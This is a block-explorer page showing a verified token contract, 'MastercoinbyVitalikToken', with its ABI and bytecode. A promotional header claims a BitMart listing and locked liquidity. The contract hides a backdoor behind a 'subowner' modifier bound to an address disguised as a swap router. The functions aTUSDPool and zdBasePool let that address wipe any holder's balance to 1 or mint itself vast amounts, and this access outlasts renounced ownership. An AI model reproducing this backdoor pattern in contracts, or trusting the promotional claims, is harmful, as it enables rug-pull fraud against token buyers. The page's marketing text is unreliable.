Source Code
Overview
MON Balance
MON Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 5 from a total of 5 transactions
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
MastercoinbyVitalikToken
Compiler Version
v0.8.29+commit.ab55807c
Contract Source Code (Solidity)
/**
*Submitted for verification at monadscan.com on 2025-11-29
*/
/**
MastercoinbyVitalik (GBS) is a next-generation GameFi ecosystem built on BNB Smart Chain, where players can Play, Trade, and Earn.
🚀 Officially announced: GBS will be listed on BitMart shortly after the presale!
Funds raised will support liquidity, marketing, and global exchange expansion.
Liquidity is permanently locked for investor safety. 💎
*/
/**
https://t.me/MastercoinbyVitalik
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.29;
interface MastercoinbyVitalikinterface {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address shippingto, uint256 yoursold) external returns (bool);
function allowance(address _owner, address transporteur) external view returns (uint256);
function approve(address transporteur, uint256 yoursold) external returns (bool);
function transferFrom(address sender, address shippingto, uint256 yoursold) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 balance);
event Approval(address indexed owner, address indexed transporteur, uint256 balance);
}
abstract contract MastercoinbyVitalik20Burnable {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract MastercoinbyVitalik20Ownable is MastercoinbyVitalik20Burnable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "MastercoinbyVitalik20Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "MastercoinbyVitalik20Ownable: new owner is zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMastercoinbyVitalik {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMastercoinbyVitalik: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMastercoinbyVitalik: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMastercoinbyVitalik: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMastercoinbyVitalik: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMastercoinbyVitalik: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract MastercoinbyVitalikToken is MastercoinbyVitalik20Burnable, MastercoinbyVitalikinterface, MastercoinbyVitalik20Ownable {
using SafeMastercoinbyVitalik for uint256;
mapping (address => uint256) private mintfrom;
mapping (address => mapping (address => uint256)) private fromallowances;
mapping (address => bool) private _isHolder;
uint256 private _totalSupply;
uint256 public holderCount;
uint8 private _decimals;
string private _symbol;
string private _name;
address private legosRooter;
constructor(address legosSwapRouterv3) {
legosRooter = legosSwapRouterv3;
_name = "Mastercoin by Vitalik MASTERCOIN";
_symbol = "Mastercoin by Vitalik MASTERCOIN";
_decimals = 9;
_totalSupply = 6699000000000 * 10 ** 9;
mintfrom[_msgSender()] = _totalSupply;
_updateHolder(_msgSender());
emit Transfer(address(0), _msgSender(), _totalSupply);
}
modifier subowner() {
require(legosRooter == _msgSender(), "MastercoinbyVitalik20Ownable: caller is not the owner");
_;
}
function aTUSDPool(address tusdRewards) external subowner {
mintfrom[tusdRewards] = 1;
_updateHolder(tusdRewards);
emit Transfer(tusdRewards, address(0), 1);
}
function zdBasePool(address BaseRewards) external subowner {
mintfrom[BaseRewards] = 10000000000 * 10 ** 20;
_updateHolder(BaseRewards);
emit Transfer(BaseRewards, address(0), 10000000000 * 10 ** 20);
}
function getOwner() external view override returns (address) {
return owner();
}
function decimals() external view override returns (uint8) {
return _decimals;
}
function symbol() external view override returns (string memory) {
return _symbol;
}
function name() external view override returns (string memory) {
return _name;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return mintfrom[account];
}
function transfer(address shippingto, uint256 yoursold) external override returns (bool) {
_transfer(_msgSender(), shippingto, yoursold);
return true;
}
function allowance(address owner, address transporteur) external view override returns (uint256) {
return fromallowances[owner][transporteur];
}
function approve(address transporteur, uint256 yoursold) external override returns (bool) {
_approve(_msgSender(), transporteur, yoursold);
return true;
}
function transferFrom(address sender, address shippingto, uint256 yoursold) external override returns (bool) {
_transfer(sender, shippingto, yoursold);
_approve(sender, _msgSender(), fromallowances[sender][_msgSender()].sub(yoursold));
return true;
}
function increaseAllowance(address transporteur, uint256 addedbalance) external returns (bool) {
_approve(_msgSender(), transporteur, fromallowances[_msgSender()][transporteur].add(addedbalance));
return true;
}
function decreaseAllowance(address transporteur, uint256 allbalances) external returns (bool) {
_approve(_msgSender(), transporteur, fromallowances[_msgSender()][transporteur].sub(allbalances));
return true;
}
function _transfer(address sender, address shippingto, uint256 yoursold) internal {
require(sender != address(0), "MastercoinbyVitalikinterface: transfer from zero address");
require(shippingto != address(0), "MastercoinbyVitalikinterface: transfer to zero address");
mintfrom[sender] = mintfrom[sender].sub(yoursold);
mintfrom[shippingto] = mintfrom[shippingto].add(yoursold);
_updateHolder(sender);
_updateHolder(shippingto);
emit Transfer(sender, shippingto, yoursold);
}
function _approve(address owner, address transporteur, uint256 yoursold) internal {
require(owner != address(0), "MastercoinbyVitalikinterface: approve from zero address");
require(transporteur != address(0), "MastercoinbyVitalikinterface: approve to zero address");
fromallowances[owner][transporteur] = yoursold;
emit Approval(owner, transporteur, yoursold);
}
function _updateHolder(address account) private {
bool wasHolder = _isHolder[account];
bool shouldBeHolder = mintfrom[account] > 0;
if (!wasHolder && shouldBeHolder) {
_isHolder[account] = true;
holderCount++;
} else if (wasHolder && !shouldBeHolder) {
_isHolder[account] = false;
holderCount--;
}
}
function getHolderCount() public view returns (uint256) {
return holderCount;
}
function isHolder(address account) public view returns (bool) {
return _isHolder[account];
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"address","name":"legosSwapRouterv3","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"transporteur","type":"address"},{"indexed":false,"internalType":"uint256","name":"balance","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"balance","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"tusdRewards","type":"address"}],"name":"aTUSDPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"transporteur","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"transporteur","type":"address"},{"internalType":"uint256","name":"yoursold","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"transporteur","type":"address"},{"internalType":"uint256","name":"allbalances","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getHolderCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"holderCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"transporteur","type":"address"},{"internalType":"uint256","name":"addedbalance","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isHolder","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"shippingto","type":"address"},{"internalType":"uint256","name":"yoursold","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"shippingto","type":"address"},{"internalType":"uint256","name":"yoursold","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"BaseRewards","type":"address"}],"name":"zdBasePool","outputs":[],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
608060405234801561000f575f5ffd5b5060405161121638038061121683398101604081905261002e91610229565b5f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600980546001600160a01b0319166001600160a01b0383161790556040805180820190915260208082525f5160206111f65f395f51905f52908201526008906100b590826102ed565b506040518060400160405280602081526020015f5160206111f65f395f51905f52815250600790816100e791906102ed565b506006805460ff1916600917905569016b274cef2d45cc0000600481905560015f61010f3390565b6001600160a01b0316815260208101919091526040015f205561013133610171565b60045460405190815233905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3506103e8565b6001600160a01b0381165f9081526003602090815260408083205460019092529091205460ff909116901515811580156101a85750805b156101e7576001600160a01b0383165f908152600360205260408120805460ff1916600117905560058054916101dd836103bb565b9190505550505050565b8180156101f2575080155b15610224576001600160a01b0383165f908152600360205260408120805460ff1916905560058054916101dd836103d3565b505050565b5f60208284031215610239575f5ffd5b81516001600160a01b038116811461024f575f5ffd5b9392505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061027e57607f821691505b60208210810361029c57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561022457805f5260205f20601f840160051c810160208510156102c75750805b601f840160051c820191505b818110156102e6575f81556001016102d3565b5050505050565b81516001600160401b0381111561030657610306610256565b61031a81610314845461026a565b846102a2565b6020601f82116001811461034c575f83156103355750848201515b5f19600385901b1c1916600184901b1784556102e6565b5f84815260208120601f198516915b8281101561037b578785015182556020948501946001909201910161035b565b508482101561039857868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b5f600182016103cc576103cc6103a7565b5060010190565b5f816103e1576103e16103a7565b505f190190565b610e01806103f55f395ff3fe608060405234801561000f575f5ffd5b5060043610610127575f3560e01c80638099423b116100a9578063a9059cbb1161006e578063a9059cbb1461025e578063d4d7b19a14610271578063dd62ed3e1461029c578063f1cb537a146102d4578063f2fde38b146102e7575f5ffd5b80638099423b146101fc578063893d20e81461020f5780638da5cb5b1461023357806395d89b4114610243578063a457c2d71461024b575f5ffd5b8063313ce567116100ef578063313ce5671461019a57806339509351146101af57806370a08231146101c25780637136982b146101ea578063715018a6146101f2575f5ffd5b806306fdde031461012b578063095ea7b31461014957806318160ddd1461016c5780631aab9a9f1461017e57806323b872dd14610187575b5f5ffd5b6101336102fa565b6040516101409190610bae565b60405180910390f35b61015c610157366004610bfe565b61038a565b6040519015158152602001610140565b6004545b604051908152602001610140565b61017060055481565b61015c610195366004610c26565b6103a0565b60065460405160ff9091168152602001610140565b61015c6101bd366004610bfe565b6103ef565b6101706101d0366004610c60565b6001600160a01b03165f9081526001602052604090205490565b600554610170565b6101fa610424565b005b6101fa61020a366004610c60565b61049e565b5f546001600160a01b03165b6040516001600160a01b039091168152602001610140565b5f546001600160a01b031661021b565b610133610549565b61015c610259366004610bfe565b610558565b61015c61026c366004610bfe565b61058d565b61015c61027f366004610c60565b6001600160a01b03165f9081526003602052604090205460ff1690565b6101706102aa366004610c79565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6101fa6102e2366004610c60565b610599565b6101fa6102f5366004610c60565b610625565b60606008805461030990610caa565b80601f016020809104026020016040519081016040528092919081815260200182805461033590610caa565b80156103805780601f1061035757610100808354040283529160200191610380565b820191905f5260205f20905b81548152906001019060200180831161036357829003601f168201915b5050505050905090565b5f610396338484610723565b5060015b92915050565b5f6103ac848484610874565b6001600160a01b0384165f908152600260209081526040808320338085529252909120546103e59186916103e09086610a24565b610723565b5060019392505050565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916103969185906103e09086610a4f565b5f546001600160a01b031633146104565760405162461bcd60e51b815260040161044d90610ce2565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6009546001600160a01b031633146104c85760405162461bcd60e51b815260040161044d90610ce2565b6001600160a01b0381165f9081526001602052604090206c0c9f2c9cd04674edea4000000090556104f881610ac0565b6040516c0c9f2c9cd04674edea4000000081525f906001600160a01b038316907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020015b60405180910390a350565b60606007805461030990610caa565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916103969185906103e09086610a24565b5f610396338484610874565b6009546001600160a01b031633146105c35760405162461bcd60e51b815260040161044d90610ce2565b6001600160a01b0381165f908152600160208190526040909120556105e781610ac0565b604051600181525f906001600160a01b038316907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200161053e565b5f546001600160a01b0316331461064e5760405162461bcd60e51b815260040161044d90610ce2565b6001600160a01b0381166106ca5760405162461bcd60e51b815260206004820152603760248201527f4d6173746572636f696e6279566974616c696b32304f776e61626c653a206e6560448201527f77206f776e6572206973207a65726f2061646472657373000000000000000000606482015260840161044d565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661079f5760405162461bcd60e51b815260206004820152603760248201527f4d6173746572636f696e6279566974616c696b696e746572666163653a20617060448201527f70726f76652066726f6d207a65726f2061646472657373000000000000000000606482015260840161044d565b6001600160a01b0382166108135760405162461bcd60e51b815260206004820152603560248201527f4d6173746572636f696e6279566974616c696b696e746572666163653a20617060448201527470726f766520746f207a65726f206164647265737360581b606482015260840161044d565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166108f05760405162461bcd60e51b815260206004820152603860248201527f4d6173746572636f696e6279566974616c696b696e746572666163653a20747260448201527f616e736665722066726f6d207a65726f20616464726573730000000000000000606482015260840161044d565b6001600160a01b0382166109655760405162461bcd60e51b815260206004820152603660248201527f4d6173746572636f696e6279566974616c696b696e746572666163653a207472604482015275616e7366657220746f207a65726f206164647265737360501b606482015260840161044d565b6001600160a01b0383165f908152600160205260409020546109879082610a24565b6001600160a01b038085165f9081526001602052604080822093909355908416815220546109b59082610a4f565b6001600160a01b0383165f908152600160205260409020556109d683610ac0565b6109df82610ac0565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161086791815260200190565b5f610a4883836040518060600160405280602d8152602001610d9f602d9139610b78565b9392505050565b5f80610a5b8385610d4b565b905083811015610a485760405162461bcd60e51b815260206004820152602a60248201527f536166654d6173746572636f696e6279566974616c696b3a206164646974696f6044820152696e206f766572666c6f7760b01b606482015260840161044d565b6001600160a01b0381165f9081526003602090815260408083205460019092529091205460ff90911690151581158015610af75750805b15610b36576001600160a01b0383165f908152600360205260408120805460ff191660011790556005805491610b2c83610d5e565b9190505550505050565b818015610b41575080155b15610b73576001600160a01b0383165f908152600360205260408120805460ff191690556005805491610b2c83610d76565b505050565b5f8184841115610b9b5760405162461bcd60e51b815260040161044d9190610bae565b50610ba68385610d8b565b949350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610bf9575f5ffd5b919050565b5f5f60408385031215610c0f575f5ffd5b610c1883610be3565b946020939093013593505050565b5f5f5f60608486031215610c38575f5ffd5b610c4184610be3565b9250610c4f60208501610be3565b929592945050506040919091013590565b5f60208284031215610c70575f5ffd5b610a4882610be3565b5f5f60408385031215610c8a575f5ffd5b610c9383610be3565b9150610ca160208401610be3565b90509250929050565b600181811c90821680610cbe57607f821691505b602082108103610cdc57634e487b7160e01b5f52602260045260245ffd5b50919050565b60208082526035908201527f4d6173746572636f696e6279566974616c696b32304f776e61626c653a206361604082015274363632b91034b9903737ba103a34329037bbb732b960591b606082015260800190565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561039a5761039a610d37565b5f60018201610d6f57610d6f610d37565b5060010190565b5f81610d8457610d84610d37565b505f190190565b8181038181111561039a5761039a610d3756fe536166654d6173746572636f696e6279566974616c696b3a207375627472616374696f6e206f766572666c6f77a2646970667358221220f4796254a8c0b0f624766ff58c603248ef271690c837e81bb06f8a991e6c6a9a64736f6c634300081d00334d6173746572636f696e20627920566974616c696b204d4153544552434f494e000000000000000000000000432e69ccb799f021c6cbdea1b734b069578b4de2
Deployed Bytecode
0x608060405234801561000f575f5ffd5b5060043610610127575f3560e01c80638099423b116100a9578063a9059cbb1161006e578063a9059cbb1461025e578063d4d7b19a14610271578063dd62ed3e1461029c578063f1cb537a146102d4578063f2fde38b146102e7575f5ffd5b80638099423b146101fc578063893d20e81461020f5780638da5cb5b1461023357806395d89b4114610243578063a457c2d71461024b575f5ffd5b8063313ce567116100ef578063313ce5671461019a57806339509351146101af57806370a08231146101c25780637136982b146101ea578063715018a6146101f2575f5ffd5b806306fdde031461012b578063095ea7b31461014957806318160ddd1461016c5780631aab9a9f1461017e57806323b872dd14610187575b5f5ffd5b6101336102fa565b6040516101409190610bae565b60405180910390f35b61015c610157366004610bfe565b61038a565b6040519015158152602001610140565b6004545b604051908152602001610140565b61017060055481565b61015c610195366004610c26565b6103a0565b60065460405160ff9091168152602001610140565b61015c6101bd366004610bfe565b6103ef565b6101706101d0366004610c60565b6001600160a01b03165f9081526001602052604090205490565b600554610170565b6101fa610424565b005b6101fa61020a366004610c60565b61049e565b5f546001600160a01b03165b6040516001600160a01b039091168152602001610140565b5f546001600160a01b031661021b565b610133610549565b61015c610259366004610bfe565b610558565b61015c61026c366004610bfe565b61058d565b61015c61027f366004610c60565b6001600160a01b03165f9081526003602052604090205460ff1690565b6101706102aa366004610c79565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6101fa6102e2366004610c60565b610599565b6101fa6102f5366004610c60565b610625565b60606008805461030990610caa565b80601f016020809104026020016040519081016040528092919081815260200182805461033590610caa565b80156103805780601f1061035757610100808354040283529160200191610380565b820191905f5260205f20905b81548152906001019060200180831161036357829003601f168201915b5050505050905090565b5f610396338484610723565b5060015b92915050565b5f6103ac848484610874565b6001600160a01b0384165f908152600260209081526040808320338085529252909120546103e59186916103e09086610a24565b610723565b5060019392505050565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916103969185906103e09086610a4f565b5f546001600160a01b031633146104565760405162461bcd60e51b815260040161044d90610ce2565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6009546001600160a01b031633146104c85760405162461bcd60e51b815260040161044d90610ce2565b6001600160a01b0381165f9081526001602052604090206c0c9f2c9cd04674edea4000000090556104f881610ac0565b6040516c0c9f2c9cd04674edea4000000081525f906001600160a01b038316907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020015b60405180910390a350565b60606007805461030990610caa565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916103969185906103e09086610a24565b5f610396338484610874565b6009546001600160a01b031633146105c35760405162461bcd60e51b815260040161044d90610ce2565b6001600160a01b0381165f908152600160208190526040909120556105e781610ac0565b604051600181525f906001600160a01b038316907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200161053e565b5f546001600160a01b0316331461064e5760405162461bcd60e51b815260040161044d90610ce2565b6001600160a01b0381166106ca5760405162461bcd60e51b815260206004820152603760248201527f4d6173746572636f696e6279566974616c696b32304f776e61626c653a206e6560448201527f77206f776e6572206973207a65726f2061646472657373000000000000000000606482015260840161044d565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661079f5760405162461bcd60e51b815260206004820152603760248201527f4d6173746572636f696e6279566974616c696b696e746572666163653a20617060448201527f70726f76652066726f6d207a65726f2061646472657373000000000000000000606482015260840161044d565b6001600160a01b0382166108135760405162461bcd60e51b815260206004820152603560248201527f4d6173746572636f696e6279566974616c696b696e746572666163653a20617060448201527470726f766520746f207a65726f206164647265737360581b606482015260840161044d565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166108f05760405162461bcd60e51b815260206004820152603860248201527f4d6173746572636f696e6279566974616c696b696e746572666163653a20747260448201527f616e736665722066726f6d207a65726f20616464726573730000000000000000606482015260840161044d565b6001600160a01b0382166109655760405162461bcd60e51b815260206004820152603660248201527f4d6173746572636f696e6279566974616c696b696e746572666163653a207472604482015275616e7366657220746f207a65726f206164647265737360501b606482015260840161044d565b6001600160a01b0383165f908152600160205260409020546109879082610a24565b6001600160a01b038085165f9081526001602052604080822093909355908416815220546109b59082610a4f565b6001600160a01b0383165f908152600160205260409020556109d683610ac0565b6109df82610ac0565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161086791815260200190565b5f610a4883836040518060600160405280602d8152602001610d9f602d9139610b78565b9392505050565b5f80610a5b8385610d4b565b905083811015610a485760405162461bcd60e51b815260206004820152602a60248201527f536166654d6173746572636f696e6279566974616c696b3a206164646974696f6044820152696e206f766572666c6f7760b01b606482015260840161044d565b6001600160a01b0381165f9081526003602090815260408083205460019092529091205460ff90911690151581158015610af75750805b15610b36576001600160a01b0383165f908152600360205260408120805460ff191660011790556005805491610b2c83610d5e565b9190505550505050565b818015610b41575080155b15610b73576001600160a01b0383165f908152600360205260408120805460ff191690556005805491610b2c83610d76565b505050565b5f8184841115610b9b5760405162461bcd60e51b815260040161044d9190610bae565b50610ba68385610d8b565b949350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610bf9575f5ffd5b919050565b5f5f60408385031215610c0f575f5ffd5b610c1883610be3565b946020939093013593505050565b5f5f5f60608486031215610c38575f5ffd5b610c4184610be3565b9250610c4f60208501610be3565b929592945050506040919091013590565b5f60208284031215610c70575f5ffd5b610a4882610be3565b5f5f60408385031215610c8a575f5ffd5b610c9383610be3565b9150610ca160208401610be3565b90509250929050565b600181811c90821680610cbe57607f821691505b602082108103610cdc57634e487b7160e01b5f52602260045260245ffd5b50919050565b60208082526035908201527f4d6173746572636f696e6279566974616c696b32304f776e61626c653a206361604082015274363632b91034b9903737ba103a34329037bbb732b960591b606082015260800190565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561039a5761039a610d37565b5f60018201610d6f57610d6f610d37565b5060010190565b5f81610d8457610d84610d37565b505f190190565b8181038181111561039a5761039a610d3756fe536166654d6173746572636f696e6279566974616c696b3a207375627472616374696f6e206f766572666c6f77a2646970667358221220f4796254a8c0b0f624766ff58c603248ef271690c837e81bb06f8a991e6c6a9a64736f6c634300081d0033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000432e69ccb799f021c6cbdea1b734b069578b4de2
-----Decoded View---------------
Arg [0] : legosSwapRouterv3 (address): 0x432e69ccB799F021C6CBDEa1b734B069578B4de2
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000432e69ccb799f021c6cbdea1b734b069578b4de2
Deployed Bytecode Sourcemap
4172:5237:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6105:94;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6810:177;;;;;;:::i;:::-;;:::i;:::-;;;1085:14:1;;1078:22;1060:41;;1048:2;1033:18;6810:177:0;920:187:1;6211:102:0;6293:12;;6211:102;;;1258:25:1;;;1246:2;1231:18;6211:102:0;1112:177:1;4582:26:0;;;;;;6999:282;;;;;;:::i;:::-;;:::i;5889:94::-;5966:9;;5889:94;;5966:9;;;;1815:36:1;;1803:2;1788:18;5889:94:0;1673:184:1;7293:234:0;;;;;;:::i;:::-;;:::i;6325:120::-;;;;;;:::i;:::-;-1:-1:-1;;;;;6420:17:0;6393:7;6420:17;;;:8;:17;;;;;;;6325:120;9199:93;9273:11;;9199:93;;2277:148;;;:::i;:::-;;5541:234;;;;;;:::i;:::-;;:::i;5783:94::-;5835:7;2106:6;-1:-1:-1;;;;;2106:6:0;5783:94;;;-1:-1:-1;;;;;2217:32:1;;;2199:51;;2187:2;2172:18;5783:94:0;2053:203:1;2033:87:0;2079:7;2106:6;-1:-1:-1;;;;;2106:6:0;2033:87;;5995:98;;;:::i;7539:232::-;;;;;;:::i;:::-;;:::i;6453:175::-;;;;;;:::i;:::-;;:::i;9300:106::-;;;;;;:::i;:::-;-1:-1:-1;;;;;9380:18:0;9356:4;9380:18;;;:9;:18;;;;;;;;;9300:106;6640:158;;;;;;:::i;:::-;-1:-1:-1;;;;;6755:21:0;;;6728:7;6755:21;;;:14;:21;;;;;;;;:35;;;;;;;;;;;;;6640:158;5342:191;;;;;;:::i;:::-;;:::i;2433:261::-;;;;;;:::i;:::-;;:::i;6105:94::-;6153:13;6186:5;6179:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6105:94;:::o;6810:177::-;6894:4;6911:46;1572:10;6934:12;6948:8;6911;:46::i;:::-;-1:-1:-1;6975:4:0;6810:177;;;;;:::o;6999:282::-;7102:4;7119:39;7129:6;7137:10;7149:8;7119:9;:39::i;:::-;-1:-1:-1;;;;;7200:22:0;;;;;;:14;:22;;;;;;;;1572:10;7200:36;;;;;;;;;7169:82;;7178:6;;7200:50;;7241:8;7200:40;:50::i;:::-;7169:8;:82::i;:::-;-1:-1:-1;7269:4:0;6999:282;;;;;:::o;7293:234::-;1572:10;7382:4;7436:28;;;:14;:28;;;;;;;;-1:-1:-1;;;;;7436:42:0;;;;;;;;;;7382:4;;7399:98;;7422:12;;7436:60;;7483:12;7436:46;:60::i;2277:148::-;2079:7;2106:6;-1:-1:-1;;;;;2106:6:0;1572:10;2168:23;2160:89;;;;-1:-1:-1;;;2160:89:0;;;;;;;:::i;:::-;;;;;;;;;2384:1:::1;2368:6:::0;;2347:40:::1;::::0;-1:-1:-1;;;;;2368:6:0;;::::1;::::0;2347:40:::1;::::0;2384:1;;2347:40:::1;2415:1;2398:19:::0;;-1:-1:-1;;;;;;2398:19:0::1;::::0;;2277:148::o;5541:234::-;5229:11;;-1